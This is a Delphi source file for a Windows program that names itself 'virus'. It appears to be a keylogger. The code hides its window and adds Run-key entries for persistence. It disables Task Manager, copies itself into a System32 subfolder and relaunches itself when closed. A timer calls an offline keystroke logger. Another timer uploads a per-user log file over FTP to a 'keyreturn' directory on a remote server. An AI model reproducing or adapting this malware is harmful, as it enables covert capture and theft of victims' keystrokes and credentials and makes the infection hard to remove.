unit virus; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, Registry, StdCtrls, jpeg, ExtCtrls, SHELLAPI, Sockets, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdFTP, IdFTPCommon; type TForm1 = class(TForm) Button1: TButton; Label1: TLabel; Image1: TImage; RegTimer1: TTimer; RegTimer3: TTimer; RegTimer2: TTimer; IdFTP1: TIdFTP; FTPTimer: TTimer; Timer1: TTimer; Memo1: TMemo; bmpTimer: TTimer; procedure FormCreate(Sender: TObject); procedure Button1Click(Sender: TObject); procedure caNone(Sender: TObject; var Action: TCloseAction); procedure RegTimer1Timer(Sender: TObject); procedure RegTimer3Timer(Sender: TObject); procedure RegTimer2Timer(Sender: TObject); procedure FTPTimerTimer(Sender: TObject); procedure Timer1Timer(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation uses untOffLineLogger; {$R *.dfm} function GetCurrentUserName: string; const cnMaxUserNameLen = 254; var sUserName: string; dwUserNameLen: DWORD; begin dwUserNameLen := cnMaxUserNameLen - 1; SetLength(sUserName, cnMaxUserNameLen); GetUserName(PChar(sUserName), dwUserNameLen); SetLength(sUserName, dwUserNameLen); Result := sUserName; end; procedure SystemKeys(Disable: Boolean) ; var OldVal : LongInt; begin SystemParametersInfo(SPI_SCREENSAVERRUNNING, Word(Disable), @OldVal, 0) ; end; procedure ShowTaskBar(bShow: Boolean) ; begin if bShow = True then ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOWNA) else ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE) ; end; procedure RegEdit1; var Reg: TRegistry; sExeName: string; begin Reg := TRegistry.Create; sExeName := ExtractFileName(Application.ExeName); with Reg do begin RootKey := HKEY_CURRENT_USER; OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True); WriteString('A', 'C:\Windows\System32\winux\'+sExeName); {WriteString('B', 'C:\Program Files\Windows Live\Y'+sExeName); WriteString('C', 'C:\Program Files\Windows Live\X'+sExeName); WriteString('D', 'C:\Program Files\Windows Live\W'+sExeName); WriteString('E', 'C:\Program Files\Windows Live\P'+sExeName); WriteString('F', 'C:\Program Files\Windows Live\U'+sExeName); WriteString('G', 'C:\Program Files\Windows Live\T'+sExeName); WriteString('H', 'C:\Program Files\Windows Live\S'+sExeName); WriteString('I', 'C:\Program Files\Windows Live\R'+sExeName); WriteString('J', 'C:\Program Files\Windows Live\Q'+sExeName); WriteString('K', 'C:\Program Files\Windows Live\P'+sExeName); WriteString('L', 'C:\Program Files\Windows Live\O'+sExeName); WriteString('M', 'C:\Program Files\Windows Live\N'+sExeName); WriteString('N', 'C:\Program Files\Windows Live\M'+sExeName); WriteString('O', 'C:\Program Files\Windows Live\L'+sExeName); WriteString('P', 'C:\Program Files\Windows Live\K'+sExeName); WriteString('Q', 'C:\Program Files\Windows Live\J'+sExeName); WriteString('R', 'C:\Program Files\Windows Live\I'+sExeName); WriteString('S', 'C:\Program Files\Windows Live\H'+sExeName); WriteString('T', 'C:\Program Files\Windows Live\G'+sExeName); WriteString('U', 'C:\Program Files\Windows Live\F'+sExeName); WriteString('V', 'C:\Program Files\Windows Live\E'+sExeName); WriteString('W', 'C:\Program Files\Windows Live\D'+sExeName); WriteString('X', 'C:\Program Files\Windows Live\C'+sExeName); WriteString('Y', 'C:\Program Files\Windows Live\B'+sExeName); WriteString('Z', 'C:\Program Files\Windows Live\A'+sExeName); } CloseKey; Free; end; end; procedure RegEdit3; var Reg: TRegistry; sExeName: string; begin Reg := TRegistry.Create; sExeName := ExtractFileName(Application.ExeName); with Reg do begin RootKey := HKEY_LOCAL_MACHINE; OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True); WriteString('A', 'C:\Windows\System32\winux\'+sExeName); {WriteString('B', 'C:\Program Files\Windows Live\Y'+sExeName); WriteString('C', 'C:\Program Files\Windows Live\X'+sExeName); WriteString('D', 'C:\Program Files\Windows Live\W'+sExeName); WriteString('E', 'C:\Program Files\Windows Live\P'+sExeName); WriteString('F', 'C:\Program Files\Windows Live\U'+sExeName); WriteString('G', 'C:\Program Files\Windows Live\T'+sExeName); WriteString('H', 'C:\Program Files\Windows Live\S'+sExeName); WriteString('I', 'C:\Program Files\Windows Live\R'+sExeName); WriteString('J', 'C:\Program Files\Windows Live\Q'+sExeName); WriteString('K', 'C:\Program Files\Windows Live\P'+sExeName); WriteString('L', 'C:\Program Files\Windows Live\O'+sExeName); WriteString('M', 'C:\Program Files\Windows Live\N'+sExeName); WriteString('N', 'C:\Program Files\Windows Live\M'+sExeName); WriteString('O', 'C:\Program Files\Windows Live\L'+sExeName); WriteString('P', 'C:\Program Files\Windows Live\K'+sExeName); WriteString('Q', 'C:\Program Files\Windows Live\J'+sExeName); WriteString('R', 'C:\Program Files\Windows Live\I'+sExeName); WriteString('S', 'C:\Program Files\Windows Live\H'+sExeName); WriteString('T', 'C:\Program Files\Windows Live\G'+sExeName); WriteString('U', 'C:\Program Files\Windows Live\F'+sExeName); WriteString('V', 'C:\Program Files\Windows Live\E'+sExeName); WriteString('W', 'C:\Program Files\Windows Live\D'+sExeName); WriteString('X', 'C:\Program Files\Windows Live\C'+sExeName); WriteString('Y', 'C:\Program Files\Windows Live\B'+sExeName); WriteString('Z', 'C:\Program Files\Windows Live\A'+sExeName); } CloseKey; Free; end; end; procedure RegEdit2; var Reg: TRegistry; begin Reg := TRegistry.Create; with Reg do begin RootKey := HKEY_CURRENT_USER; OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System',false); WriteInteger('DisableTaskMgr', 1); //WriteInteger('DisableRegistryTools', 1); Free; end; end; procedure CopyFileZA; var fileSource, fileDest: string; sExePath: string; sExeName: string; Count : integer; begin sExePath := ExtractFilePath(Application.ExeName); sExeName := ExtractFileName(Application.ExeName); for Count := 90 downto 65 do begin FileSource := sExePath+sExeName; FileDest := 'C:\Windows\System32\winux\'+sExeName; CopyFile(PChar(FileSource), PChar(FileDest), False); end; end; procedure TForm1.FormCreate(Sender: TObject); begin ShowWindow(Application.Handle, SW_HIDE) ; SetWindowLong(Application.Handle, GWL_EXSTYLE, GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW ) ; ShowWindow(Application.Handle, SW_SHOW) ; // CopyFileZA; // RegEdit1; // RegEdit2; end; procedure TForm1.Button1Click(Sender: TObject); var sExePath: string; sExeName: string; begin sExePath := ExtractFilePath(Application.ExeName); sExeName := ExtractFileName(Application.ExeName); ShowMessage('Maybe later.') //ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PAnsiChar('NoExec'),'',SW_SHOW) ; //ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PAnsiChar('NoExec'),'',SW_SHOW) ; end; procedure TForm1.caNone(Sender: TObject; var Action: TCloseAction); var sExePath: string; sExeName: string; begin sExePath := ExtractFilePath(Application.ExeName); sExeName := ExtractFileName(Application.ExeName); ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PAnsiChar('NoExec'),'',SW_SHOW) ; //ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PAnsiChar('NoExec'),'',SW_SHOW) ; //ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PAnsiChar('NoExec'),'',SW_SHOW) ; end; procedure TForm1.RegTimer1Timer(Sender: TObject); begin //RegEdit2; end; procedure TForm1.RegTimer3Timer(Sender: TObject); begin //RegEdit3; end; procedure TForm1.RegTimer2Timer(Sender: TObject); begin //RegEdit1; end; procedure TForm1.FTPTimerTimer(Sender: TObject); begin idftp1.Connect; try if idftp1.connected then begin idftp1.ChangeDir('keyreturn'); idftp1.Put('C:\Windows\System32\winux\' + GetCurrentUserName, GetCurrentUserName); end finally idftp1.Disconnect; end; end; procedure TForm1.Timer1Timer(Sender: TObject); begin OLGetLetter; end; end.